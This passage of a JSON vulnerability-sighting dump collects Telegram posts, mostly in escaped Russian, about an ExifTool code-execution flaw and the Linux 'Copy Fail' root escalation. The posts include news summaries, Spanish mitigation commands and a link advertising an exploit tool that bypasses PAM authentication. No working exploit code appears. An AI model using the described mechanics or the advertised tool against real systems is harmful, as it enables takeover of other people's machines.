\u0440\u0430\u0437\u0431\u043e\u0440\u00a0\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-3102 \u0447\u0438\u0442\u0430\u0439\u0442\u0435 \u0432 \u043d\u0430\u0448\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043d\u0430 Securelist.\n\n\ud83d\udc99 Kaspersky \u0432 \u0412\u041a\n\ud83d\udcac Kaspersky \u0432 Max\n\ud83d\udcac \u041f\u043e\u0440\u0432\u0430\u043b\u0438 \u0434\u0432\u0430 \u0442\u0440\u043e\u044f\u043d\u0430 \u0432 Max", "creation_timestamp": "2026-09-02T01:03:47.041206Z"}, {"uuid": "4318a4e8-12ef-45d6-8c0c-7866d7035a25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3102", "type": "seen", "source": "https://t.me/kasperskylab_ru/7426", "content": "\u0414\u0430\u0439\u0434\u0436\u0435\u0441\u0442 \u043a\u0438\u0431\u0435\u0440\u043d\u043e\u0432\u043e\u0441\u0442\u0435\u0439 \u0437\u0430 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0443\u044e \u043d\u0435\u0434\u0435\u043b\u044e \u27a1\ufe0f\n\n\ud83d\udfe2\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u043d\u0430\u0448\u0435\u0433\u043e \u043e\u043f\u0440\u043e\u0441\u0430 \u2014 \u0441 \u0442\u0440\u0430\u0432\u043b\u0435\u0439 \u0432 \u0441\u0435\u0442\u0438 \u0441\u0442\u0430\u043b\u043a\u0438\u0432\u0430\u043b\u0438\u0441\u044c 13% \u0434\u0435\u0442\u0435\u0439, \u0430 22% \u0445\u043e\u0442\u044f \u0431\u044b \u0440\u0430\u0437 \u0437\u0430 \u0433\u043e\u0434 \u043e\u0431\u0449\u0430\u043b\u0438\u0441\u044c \u0432 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0435 \u0441 \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u043d\u043e\u043b\u0435\u0442\u043d\u0438\u043c\u0438 \u043d\u0435\u0437\u043d\u0430\u043a\u043e\u043c\u0446\u0430\u043c\u0438. \u041e \u0432\u0430\u0436\u043d\u044b\u0445 \u043f\u0440\u0430\u0432\u0438\u043b\u0430\u0445 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u2014 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u043c \u0432 \u043f\u043e\u0441\u0442\u0435.\n\n\ud83d\udfe2\u041d\u0430\u0448\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043d\u043e\u0432\u0443\u044e \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0433\u0440\u0443\u043f\u043f\u044b Cloud Atlas: \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0438 \u0441\u0432\u043e\u0439 \u0430\u0440\u0441\u0435\u043d\u0430\u043b. \u041f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u043e\u0439 \u2014 \u0433\u043e\u0441\u0432\u0435\u0434\u043e\u043c\u0441\u0442\u0432\u0430 \u0438 \u043a\u043e\u043c\u043c\u0435\u0440\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u0420\u043e\u0441\u0441\u0438\u0438 \u0438 \u0411\u0435\u043b\u0430\u0440\u0443\u0441\u0438. \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0447\u0438\u0442\u0430\u0439\u0442\u0435 \u043d\u0430 Securelist.\n\n\ud83d\udfe2\u0421 \u043d\u0430\u0447\u0430\u043b\u0430 2026 \u0433\u043e\u0434\u0430 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0443\u0436\u0435 \u0441\u0442\u043e\u043b\u043a\u043d\u0443\u043b\u0438\u0441\u044c \u0441 13 \u0442\u044b\u0441\u044f\u0447\u0430\u043c\u0438 \u0430\u0442\u0430\u043a \u0447\u0435\u0440\u0435\u0437 \u042d\u0414\u041e \u2014 \u044d\u0442\u043e \u0431\u043e\u043b\u044c\u0448\u0435, \u0447\u0435\u043c \u0437\u0430 \u0432\u0435\u0441\u044c 2025 \u0433\u043e\u0434. \u041e\u0431\u044a\u044f\u0441\u043d\u044f\u0435\u043c \u043f\u0440\u0438\u0447\u0438\u043d\u044b \u0438 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u043c \u043c\u0435\u0445\u0430\u043d\u0438\u043a\u0443 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. \n\n\ud83d\udfe2\u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b Kaspersky GReAT\u00a0\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-3102 \u0432\u00a0ExifTool, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0439 \u0443\u0442\u0438\u043b\u0438\u0442\u0435\u00a0\u0434\u043b\u044f macOS. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0451 \u0434\u043b\u044f \u043f\u043e\u0445\u0438\u0449\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445. \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0447\u0438\u0442\u0430\u0439\u0442\u0435 \u0432 \u043d\u0430\u0448\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043d\u0430 Securelist.\n\n\u0421\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 \u0438\u0437 \u043c\u0438\u0440\u0430 \u0431\u0438\u0437\u043d\u0435\u0441\u0430:\n\ud83d\udfe2\u0420\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u043c \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0432\u0435\u043a\u0442\u043e\u0440\u044b \u0430\u0442\u0430\u043a \u043d\u0430 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043d\u0443\u044e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443.\n\ud83d\udfe2\u0414\u0430\u0451\u043c \u0441\u043e\u0432\u0435\u0442\u044b \u043f\u043e \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 Kaspersky Scan Engine.\n\n\u0418 \u0435\u0449\u0451 \u043a\u043e\u0435-\u0447\u0442\u043e \u0441 \u041f\u041c\u042d\u0424 2026:\n\ud83d\udfe2 \u0415\u0432\u0433\u0435\u043d\u0438\u0439 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u0438\u0439 \u043e \u043f\u043b\u0430\u043d\u0430\u0445 \u043d\u0430 \u043c\u0435\u0440\u043e\u043f\u0440\u0438\u044f\u0442\u0438\u0435.\n\ud83d\udfe2 \u042d\u043a\u0441\u043a\u0443\u0440\u0441\u0438\u044f \u043f\u043e \u0441\u0442\u0435\u043d\u0434\u0443 \u00ab\u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e\u00bb.\n\ud83d\udfe2 \u0421\u043f\u0435\u0446\u0432\u044b\u043f\u0443\u0441\u043a \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044f \u00ab\u041a\u0438\u0431\u0435\u0440\u043f\u0443\u043b\u044c\u0441\u00bb \u0438 \u043a\u0440\u0430\u0442\u043a\u0438\u0439 \u043e\u0431\u0437\u043e\u0440 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u043a\u0438\u0431\u0435\u0440\u0443\u0433\u0440\u043e\u0437 \u0434\u043b\u044f \u0431\u0438\u0437\u043d\u0435\u0441\u0430 \u043e\u0442 \u0414\u043c\u0438\u0442\u0440\u0438\u044f \u0413\u0430\u043b\u043e\u0432\u0430, \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f Kaspersky GReAT \u0432 \u0420\u043e\u0441\u0441\u0438\u0438.\n\ud83d\udfe2 \u0424\u0440\u0430\u0433\u043c\u0435\u043d\u0442 \u0432\u044b\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u044f \u0410\u043d\u0442\u043e\u043d\u0430 \u0418\u0432\u0430\u043d\u043e\u0432\u0430, \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0430, \u043f\u0440\u043e \u043c\u0443\u043b\u044c\u0442\u0438\u0430\u0433\u0435\u043d\u0442\u043d\u044b\u0435 \u0418\u0418-\u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438 \u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u0443 \u0434\u043b\u044f \u0442\u0443\u0440\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043e\u0442\u0440\u0430\u0441\u043b\u0438. \u0410 \u0442\u0430\u043a\u0436\u0435 \u0435\u0433\u043e \u0432\u043f\u0435\u0447\u0430\u0442\u043b\u0435\u043d\u0438\u044f \u043e\u0442 \u0432\u0442\u043e\u0440\u043e\u0433\u043e \u0434\u043d\u044f \u041f\u041c\u042d\u0424.\n\ud83d\udfe2 \u041e \u043c\u0435\u0436\u0434\u0443\u043d\u0430\u0440\u043e\u0434\u043d\u043e\u043c \u0430\u0441\u043f\u0435\u043a\u0442\u0435 \u0440\u0430\u0431\u043e\u0442\u044b \u043d\u0430 \u043c\u0435\u0440\u043e\u043f\u0440\u0438\u044f\u0442\u0438\u0438 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u042e\u043b\u0438\u044f \u0428\u043b\u044b\u0447\u043a\u043e\u0432\u0430, \u0432\u0438\u0446\u0435-\u043f\u0440\u0435\u0437\u0438\u0434\u0435\u043d\u0442 \u043f\u043e PA (public affairs).\n\ud83d\udfe2\u041c\u0438\u0445\u0430\u0438\u043b \u0413\u0435\u0440\u0431\u0435\u0440, \u043a\u043e\u043c\u043c\u0435\u0440\u0447\u0435\u0441\u043a\u0438\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440, \u043f\u0440\u043e \u043e\u0434\u043d\u0443 \u0438\u0437 \u0432\u0430\u0436\u043d\u044b\u0445 \u0442\u0435\u043c \u0437\u0430\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043d\u044f \u041f\u041c\u042d\u0424 \u2014 \u0437\u0430\u0449\u0438\u0442\u0443 \u0434\u0435\u0442\u0435\u0439 \u0432 \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u043c \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0435.  \n\n#KD_\u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442", "creation_timestamp": "2026-09-02T01:03:47.086128Z"}, {"uuid": "073b11d3-7936-4161-9a6b-ad5b14fcb699", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/HackingTeamGrupoOfficial/45787", "content": "copyfail-rs #exploit #scanner\nExploit and detect CVE-2026-31431 vulnerabilities using a static binary that monitors system integrity and bypasses PAM authentication.\n\nhttps://github.com/Liverwortenuresis371/copyfail-rs", "creation_timestamp": "2026-09-02T06:00:13.161523Z"}, {"uuid": "1943fa0e-e161-4222-8a11-6cc254798672", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/mm5XOoCgkSF4JidvfV_qkRP1ng_5vaxjmtcUSSoHEg973b8", "content": "", "creation_timestamp": "2026-09-02T06:00:08.835470Z"}, {"uuid": "8bcb57fd-d7e7-474f-bee0-4db78635901c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/HackingTeamGrupoOfficial/45656", "content": "OJO! Vulnerabilidad critica \"copy.fail\" CVE-2026-31431 en el Kernel de Linux. \u00bfPor qu\u00e9 estas cosas no las publican un martes a las 11:15 de la ma\u00f1ana y no se esperan a un s\u00e1bado?\ud83e\udee5\n\n\u00bfQu\u00e9 es ? Permite a un usuario normal / atacante dentro de un contenedor tomar el control total del servidor (root). Especialmente atenci\u00f3n a entornos como Proxmox \ud83d\ude35\u200d\ud83d\udcab\n\n\u00bfC\u00f3mo? El kernel de Linux maneja los sockets de la familia AF_ALG. Estos sockets permiten que los programas del espacio de usuario ( normales) accedan a los algoritmos criptogr\u00e1ficos del propio kernel.\n\n\u00bfQu\u00e9 hacer?\n\n1- \"lsmod | grep algif_aead\" para ver si tienes el modulo cargado.\n\n2- \"rmmod algif_aead\" Si lo quieres vaciar de la memoria sin reiniciar.\n\n3- \"# echo \"install algif_aead /bin/false\" > /etc/modprobe.d/disable-algif.conf\n# update-initramfs -u -k all\" Si no quieres que se vuelva a cargar en memoria.\n\n4- \"apt update && apt dist-upgrade\" Ya tu sabeh \ud83d\ude09\n\n5- \"uname -r\" y si ves: \"6.17.13-6-pve\", ir a desayunar un buen caf\u00e9 con churros\", que os lo hab\u00e9is ganado", "creation_timestamp": "2026-09-02T06:00:13.734989Z"}, {"uuid": "973d9d94-6831-4dad-87f8-66e20c8baa9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3102", "type": "seen", "source": "https://t.me/Russian_OSINT/7195", "content": "\u041a\u0430\u043d\u0430\u043b \ud83d\udd28SecAtor \u2014 @true_secator \u043f\u0438\u0448\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435:\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u043f\u043e\u0434\u0435\u043b\u0438\u043b\u0438\u0441\u044c \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u043c\u0438 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-3102 \u0432 ExifTool, \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u0432, \u043a\u0430\u043a \u043e\u0434\u043d\u043e \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 Mac.\n\nExifTool\u00a0- \u044d\u0442\u043e \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u0430\u044f \u0443\u0442\u0438\u043b\u0438\u0442\u0430 \u0434\u043b\u044f \u0447\u0442\u0435\u043d\u0438\u044f \u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u0444\u0430\u0439\u043b\u0430\u0445 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439, PDF, \u0430\u0443\u0434\u0438\u043e \u0438 \u0432\u0438\u0434\u0435\u043e. \u041e\u043d\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u043a\u0430\u043a \u0432 \u0432\u0438\u0434\u0435 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438, \u0442\u0430\u043a \u0438 \u0432 \u0432\u0438\u0434\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u043e\u0436\u043d\u043e \u0432\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0442\u044c \u0432 \u0434\u0440\u0443\u0433\u043e\u0435 \u041f\u041e.\n\nCVE-2026-3102 \u0432 ExifTool \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u0430\u043c\u0438 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0446\u0435\u043d\u0442\u0440\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439 \u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0443\u0433\u0440\u043e\u0437 (GReAT) \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u0432 \u0444\u0435\u0432\u0440\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438 \u0432 \u0442\u043e\u043c \u0436\u0435 \u043c\u0435\u0441\u044f\u0446\u0435.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0441\u0438\u0441\u0442\u0435\u043c\u044b macOS \u0441 ExifTool 13.49 \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439. \u0412 \u043e\u0441\u043d\u043e\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043b\u0435\u0436\u0438\u0442 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u0430\u044f \u043e\u0447\u0438\u0441\u0442\u043a\u0430 (\u0441\u0430\u043d\u0438\u0442\u0438\u0437\u0430\u0446\u0438\u044f) \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 ExifTool \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0442\u0435\u0433\u043e\u0432 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445 \u0432 macOS.\n\n\u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u0432 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0441 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u043c\u0438, \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u043c\u0438 \u0432 \u043f\u043e\u043b\u0435 \u0434\u0430\u0442\u044b \u0432 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0441\u043f\u0440\u043e\u0432\u043e\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0444\u0430\u0439\u043b\u0430.\n\n\u041d\u0430\u0439\u0442\u0438 \u043d\u043e\u0432\u0443\u044e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043f\u043e\u0441\u043b\u0435 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2021-22204, \u0441 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0432 \u041b\u041a \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u0441\u0442\u043e\u043b\u043a\u043d\u0443\u043b\u0438\u0441\u044c \u043c\u043d\u043e\u0433\u043e \u043b\u0435\u0442 \u043d\u0430\u0437\u0430\u0434. \u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u0443\u044e \u043e\u0447\u0438\u0441\u0442\u043a\u0443 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u043f\u0435\u0440\u0435\u0434 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u0432\u0432\u043e\u0434\u0430 \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u044e-\u043f\u0440\u0438\u0435\u043c\u043d\u0438\u043a\u00a0eval.\n\n\u0412 \u0445\u043e\u0434\u0435 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0441\u043e\u0441\u0435\u0434\u043d\u0438\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438 \u0432\u0432\u043e\u0434\u0430 \u0432 \u043a\u043e\u0434\u043e\u0432\u043e\u0439 \u0431\u0430\u0437\u0435 ExifTool \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0445 \u0443\u043f\u0443\u0449\u0435\u043d\u0438\u0439 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u041b\u041a \u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438  CVE-2026-3102.\n\n\u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 CVE-2026-3102 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 shell-\u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0432\u0448\u0435\u0433\u043e ExifTool, \u0447\u0442\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u043e\u043b\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0412\u0441\u0435 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0438 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u044b\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2026-09-02T06:00:18.072988Z"}, {"uuid": "d16f0259-531c-45fc-81e2-00b0bd6dfa6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/SecLabNews/17683", "content": "\ud83d\ude1e10 \u0441\u0442\u0440\u043e\u043a Python \u2192 root \u043d\u0430 \u043b\u044e\u0431\u043e\u043c Linux \u0441 2017 \u0433\u043e\u0434\u0430. \u0412\u0441\u0442\u0440\u0435\u0447\u0430\u0439\u0442\u0435 Copy Fail\n\n\u0412 Linux \u043d\u0430\u0448\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Copy Fail, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u044b\u0447\u043d\u043e\u043c\u0443 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0434\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f \u0434\u043e root-\u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0447\u0435\u0440\u0435\u0437 \u043a\u044d\u0448 \u0441\u0442\u0440\u0430\u043d\u0438\u0446. \u041e\u0448\u0438\u0431\u043a\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043d\u043e\u043c\u0435\u0440 CVE-2026-31431 \u0438 \u0443\u0436\u0435 \u0437\u0430\u043a\u0440\u044b\u0442\u0430 \u043f\u0430\u0442\u0447\u0430\u043c\u0438 \u0432 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430\u0445.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u044f\u0434\u0440\u043e Linux \u0438 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043e\u043f\u0430\u0441\u043d\u0430 \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432, \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043d\u044b\u0445 \u0441\u0440\u0435\u0434, CI/CD-\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u0441\u0438\u0441\u0442\u0435\u043c, \u0433\u0434\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442 \u043d\u0435\u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u0434. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438 \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442: Python-\u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u0441\u0435\u0433\u043e \u043d\u0430 10 